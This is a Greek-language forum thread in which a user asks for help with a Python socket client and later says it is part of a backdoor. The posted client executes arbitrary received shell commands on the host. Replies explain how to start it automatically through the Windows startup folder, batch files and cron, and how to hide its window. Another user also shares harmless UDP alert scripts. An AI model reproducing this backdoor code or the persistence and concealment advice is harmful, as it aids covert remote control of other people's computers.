Συζήτηση
Γεια χαρά, Επισκέπτης
Όνομα χρήστη: Κωδικός: Να με θυμάσαι
  • Σελίδα:
  • 1
  • 2
  • 3

ΘΕΜΑ: python socket client script

python socket client script 6 Χρόνια 11 Μήνες πριν #4864

  • tassos18
  • Το Άβαταρ του/της tassos18
  • Αποσυνδεμένος
  • py____
  • Δημοσιεύσεις: 19
καλησπερα, εχω δημιουργησει ενα σκριπτακι server-client και θελω ο client να τρεχει συνεχεια στο ενα συστημα και οταν ξεκινει ο server να γινεται η συνδεση. Παραθετω και τον κωδικα
import socket
import os
import subprocess
 
 
def connect():
    global host
    global port
    global s
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    port = 4444
    host = '127.0.0.1'
    s.connect((host, port))
    s.send(os.environ['COMPUTERNAME'])
 
 
 
def receive():
    receive = s.recv(1024)
    if receive == 'quit':
        s.close()
    elif receive[0:5] == 'shell':
        proc2 = subprocess.Popen(receive[6:], shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE)
        stdout_val = proc2.stdout.read() + proc2.stderr.read()
        args = stdout_val
    else:
        args = 'no valid input was given'
        send(args)
 
def send(args):
    send = s.send(args)
    receive()
 
 
 
connect()
receive()
s.close()
Τελευταία διόρθωση: 6 Χρόνια 11 Μήνες πριν από tassos18.
Πρέπει να είστε εγγεγραμμένο μέλος του Φόρουμ για να κάνετε μια δημοσίευση.

python socket client script 6 Χρόνια 11 Μήνες πριν #4865

  • Αποστόλης
  • Το Άβαταρ του/της Αποστόλης
  • Αποσυνδεμένος
  • pytho_
  • Δημοσιεύσεις: 148
  • Ληφθείσες Ευχαριστίες 24
Αν έχεις Linux, θα τρέχεις συνέχεια το client με την watch και το server στο cronjob με εντολή @reboot ή στο fstab.
Σε windows θα τρέχεις το client με batch file και το server με scheduled task.

Παντως η λογική είναι το ανάποδο από αυτό που λες.
Ο server τρέχει συνέχεια και ο client συνδέεται όταν σηκωθεί το μηχάνημα.
Πρέπει να είστε εγγεγραμμένο μέλος του Φόρουμ για να κάνετε μια δημοσίευση.
Οι ακόλουθοι χρήστες είπαν "Σε Ευχαριστώ": tassos18

python socket client script 6 Χρόνια 11 Μήνες πριν #4866

  • tassos18
  • Το Άβαταρ του/της tassos18
  • Αποσυνδεμένος
  • py____
  • Δημοσιεύσεις: 19
Καλημερα, ναι το ξερω οτι η λογικη λεει αυτο. Οταν λες με batch πως ακριβως. στο linux λες να το εχω με watch και να ξεκιναει στην εκκινηση αν καταλαβα καλα?
Πρέπει να είστε εγγεγραμμένο μέλος του Φόρουμ για να κάνετε μια δημοσίευση.

python socket client script 6 Χρόνια 11 Μήνες πριν #4867

  • Αποστόλης
  • Το Άβαταρ του/της Αποστόλης
  • Αποσυνδεμένος
  • pytho_
  • Δημοσιεύσεις: 148
  • Ληφθείσες Ευχαριστίες 24
- Θα φτιάξεις ένα αρχείο το οποίο θα το τρέξεις και θα παραμένει ανοιχτό μέχρι να το κλείσεις ή να κλείσεις το pc.
Έχω υλοποιήσει κάτι αντίστοιχο με το δικό σου στην δουλειά μου. 'Eχω φτιάξει ένα python script το οποίο το έχω βάλει στο startup folder των Windows κι έτσι κάθε φορά που σηκώνεται ο client το script τρέχει μέχρι να κλείσω τον υπολογιστή.
Για περισσότερες λεπτομέρειες θα πρέπει να περιμένεις μέχρι την Δευτέρα αν θέλεις.

- Στο client pc θα τρέξεις από terminal την εντολή watch -time interval path to script
Π.χ.
watch -5 /home/user/script_name
Για τον server θα μπεί ένα cronjob σε στυλ:
@reboot /home/user/script_name

Πάντως δεν είναι λογικό να κλείνει ο server οπότε κανονικά θα έπρεπε να μπουν ανάποδα τα scriptάκια.
Τελευταία διόρθωση: 6 Χρόνια 11 Μήνες πριν από Αποστόλης.
Πρέπει να είστε εγγεγραμμένο μέλος του Φόρουμ για να κάνετε μια δημοσίευση.

python socket client script 6 Χρόνια 11 Μήνες πριν #4868

  • tassos18
  • Το Άβαταρ του/της tassos18
  • Αποσυνδεμένος
  • py____
  • Δημοσιεύσεις: 19
Για το batch script εχω πιο πολυ θεμα με το linux ειμαι κομπλε. Εγω σκεφτηκα να βαλω μια λουπα στην connect() αλλα δεν δουλεψε.
Πρέπει να είστε εγγεγραμμένο μέλος του Φόρουμ για να κάνετε μια δημοσίευση.

python socket client script 6 Χρόνια 11 Μήνες πριν #4869

  • tassos18
  • Το Άβαταρ του/της tassos18
  • Αποσυνδεμένος
  • py____
  • Δημοσιεύσεις: 19
Αποστόλης έγραψε:
-
watch -5 /home/user/script_name
η watch γραφεται ετσι
watch -n 5 /home/user/script_name
φιλικη διορθωση.
Πρέπει να είστε εγγεγραμμένο μέλος του Φόρουμ για να κάνετε μια δημοσίευση.

python socket client script 6 Χρόνια 11 Μήνες πριν #4870

  • Αποστόλης
  • Το Άβαταρ του/της Αποστόλης
  • Αποσυνδεμένος
  • pytho_
  • Δημοσιεύσεις: 148
  • Ληφθείσες Ευχαριστίες 24
- Βρήκα το script...
Λοιπόν, θα βάλεις στο startup folder των windows κάτι σαν κι αυτό:start_servers_status_client.bat
που θα περιέχει τα:
cd C:\python_scripts
python servers_status_client.py
βάζοντας βέβαια τα δικά σου folder και script names.
Μπορείς να δώσεις κάποιες τρελές διαστάσεις στο window που ανοίγει ώστε να «κρύψεις» το window και να μην είναι μες τη μέση της οθόνης και υπερκαλύπτει άλλα παράθυρα.

- Ναι ok. Δεν τα θυμάμαι όλα απ' έξω.
Τελευταία διόρθωση: 6 Χρόνια 11 Μήνες πριν από Αποστόλης.
Πρέπει να είστε εγγεγραμμένο μέλος του Φόρουμ για να κάνετε μια δημοσίευση.

python socket client script 6 Χρόνια 11 Μήνες πριν #4871

  • tassos18
  • Το Άβαταρ του/της tassos18
  • Αποσυνδεμένος
  • py____
  • Δημοσιεύσεις: 19
Και με αυτο το σκριπτ ο client θα τρεχει μεχρι να επιτευχθεί η συνδεση? η λουπα μου γιατι δεν δουλεψε μου εβγαζε το error [Errno 10061] No connection could be made because the target machine actively refused it κανονικα δε επρεπε να τρεχει μεχρι να σταματησει με καποιον τροπο?

-Ναι σιγουρα δεν μπορουμε να τα θυμομαστε ολα απλως σε διορθωσα χωρις να θελω να το παιξω εξυπνος.
Τελευταία διόρθωση: 6 Χρόνια 11 Μήνες πριν από tassos18.
Πρέπει να είστε εγγεγραμμένο μέλος του Φόρουμ για να κάνετε μια δημοσίευση.

python socket client script 6 Χρόνια 11 Μήνες πριν #4872

  • Αποστόλης
  • Το Άβαταρ του/της Αποστόλης
  • Αποσυνδεμένος
  • pytho_
  • Δημοσιεύσεις: 148
  • Ληφθείσες Ευχαριστίες 24
- Αυτό το script απλά «σηκώνει» το python script που κάνει listen.
Θα πρέπει να δεις γιατί σου χτυπάει το script.


- Ναι, έτσι είναι.
Δεν παρεξηγήθηκα, αλίμονο :)
Πρέπει να είστε εγγεγραμμένο μέλος του Φόρουμ για να κάνετε μια δημοσίευση.

python socket client script 6 Χρόνια 11 Μήνες πριν #4873

  • tassos18
  • Το Άβαταρ του/της tassos18
  • Αποσυνδεμένος
  • py____
  • Δημοσιεύσεις: 19
Κατσε λιγο γιατι μπερδευτηκα τωρα ο server δεν κανει listen? εγω θελω να τρεχει ο client μεχρι να ανοιξει ο server και να γινει η συνδεση νομιζω πως με αυτο το script απλα θα τρεξει ο client μια φορα και θα κλεισει αφου δεν θα υπαρχει καποιος server που να 'ακουει' σωστα? το error το εψαξα βρηκα οτι το πεταει γι αυτον ακριβως τον λογο δηλαδη οτι δεν υπαρχει καποιος για να 'ακουσει' στην συγκεκριμενη ip και port
Πρέπει να είστε εγγεγραμμένο μέλος του Φόρουμ για να κάνετε μια δημοσίευση.

python socket client script 6 Χρόνια 11 Μήνες πριν #4874

  • Αποστόλης
  • Το Άβαταρ του/της Αποστόλης
  • Αποσυνδεμένος
  • pytho_
  • Δημοσιεύσεις: 148
  • Ληφθείσες Ευχαριστίες 24
Σου παραθέτω αυτό που έχω φτιάξει εγώ.

batch file
cd C:\python_scripts
python servers_status_client.py


client script
import sys, time
from socket import socket, gethostbyname, AF_INET, SOCK_DGRAM
from tkinter import *
import tkinter as tk
 
currentDateTime = time.strftime("%d/%m/%Y %H:%M:%S")
PORT_NUMBER = 5000
SIZE = 1024
 
hostName = gethostbyname('0.0.0.0')
 
mySocket = socket( AF_INET, SOCK_DGRAM )
mySocket.bind( (hostName, PORT_NUMBER) )
 
print ("Client listening on port {0}\n".format(PORT_NUMBER))
 
while True:
 
	(data, addr) = mySocket.recvfrom(SIZE)
	strMessage = '{} \n\n ο server με ip {} \n δεν απαντά.'.format(currentDateTime, data)
	NORM_FONT = ("Helvetica", 11)
	popup = tk.Tk()
	popup.wm_title("ΠΡΟΣΟΧΗ!")
	label = tk.Label(popup, text = strMessage, font = NORM_FONT)
	label.pack(side = "top", fill = "x", pady = 10)
	B1 = tk.Button(popup, text="Κλείσιμο", command = popup.destroy)
	B1.pack()
#	popup.geometry("400x150")																	#disabled for auto fit
	popup.wm_attributes("-topmost", 1)															#this directive is to keep popup window always on top of all other windows
	popup.mainloop()
 
sys.exit()


server script
 
 
#Import libraries
from socket import socket, gethostbyname, AF_INET, SOCK_DGRAM
#
# send message to client pc's
#
def sendMessageToClients(strMessage, chHost):
	try:
#		CLIENT_IP_LIST   = ('192.0.0.216', '192.0.0.150', '192.0.0.15')
		CLIENT_IP_LIST   = ('192.0.0.216',)
		PORT_NUMBER = 5000
		SIZE = 1024
		for CLIENT_IP in CLIENT_IP_LIST:
			mySocket = socket(AF_INET, SOCK_DGRAM)
			for i in range(0, 1):
				mySocket.sendto(bytes(strMessage, encoding = "iso-8859-7"),(CLIENT_IP, PORT_NUMBER) )
	except Exception as sendMessageException:
		print(sendMessageException)
Πρέπει να είστε εγγεγραμμένο μέλος του Φόρουμ για να κάνετε μια δημοσίευση.

python socket client script 6 Χρόνια 11 Μήνες πριν #4875

  • tassos18
  • Το Άβαταρ του/της tassos18
  • Αποσυνδεμένος
  • py____
  • Δημοσιεύσεις: 19
Ο server δεν πρεπει να κανει bind το socket? εσυ για τι χρηση τα εχεις φτιαξει? εγω βασικα τα θελω για να πειραματιστω.Το ολο προτζεκτ εχει σχεση με εναν backdoor και για αυτο τον λογο θελω να τρεχει ο client και οταν ανοιγει ο server να γινεται η συνδεση.
Πρέπει να είστε εγγεγραμμένο μέλος του Φόρουμ για να κάνετε μια δημοσίευση.

python socket client script 6 Χρόνια 11 Μήνες πριν #4876

  • Αποστόλης
  • Το Άβαταρ του/της Αποστόλης
  • Αποσυνδεμένος
  • pytho_
  • Δημοσιεύσεις: 148
  • Ληφθείσες Ευχαριστίες 24
Τρέχω πολλούς ελέγχους για διάφορα πράγματα και ο server στέλνει μήνυμα σε client pc's. Απλώς σηκώνω και GUI με tkinter.

Κοίτα, δεν είναι απόλυτο το ποιός πρέπει να κάνει τι.
Εγώ αυτό ήθελα να φτιάξω στη συγκεκριμένη περίπτωση, αυτό έφτιαξα.

Σου έβαλα τα script για να δεις πως γίνεται το connect ανάμεσα στα μηχανήματα (server και pc's).
Το που θα μπει τι, θα το αποφασίσεις εσύ, σύμφωνα με αυτό που θέλεις να επιτύχεις.
Τελευταία διόρθωση: 6 Χρόνια 11 Μήνες πριν από Αποστόλης.
Πρέπει να είστε εγγεγραμμένο μέλος του Φόρουμ για να κάνετε μια δημοσίευση.

python socket client script 6 Χρόνια 11 Μήνες πριν #4877

  • tassos18
  • Το Άβαταρ του/της tassos18
  • Αποσυνδεμένος
  • py____
  • Δημοσιεύσεις: 19
Αν εβαζα στο batch script μια λουπα ο client θα ετρεχε συνεχεια σωστα?
Πρέπει να είστε εγγεγραμμένο μέλος του Φόρουμ για να κάνετε μια δημοσίευση.

python socket client script 6 Χρόνια 11 Μήνες πριν #4878

  • tassos18
  • Το Άβαταρ του/της tassos18
  • Αποσυνδεμένος
  • py____
  • Δημοσιεύσεις: 19
Μπορεις να προτινεις καποιον debugger με βηματικη εκτελεση για python?
Πρέπει να είστε εγγεγραμμένο μέλος του Φόρουμ για να κάνετε μια δημοσίευση.
  • Σελίδα:
  • 1
  • 2
  • 3
Συντονιστές: pmav99
Χρόνος δημιουργίας σελίδας: 0.477 δευτερόλεπτα

Μοιράσου το!

Powered by CoalaWeb

Λίστα Ταχυδρομείου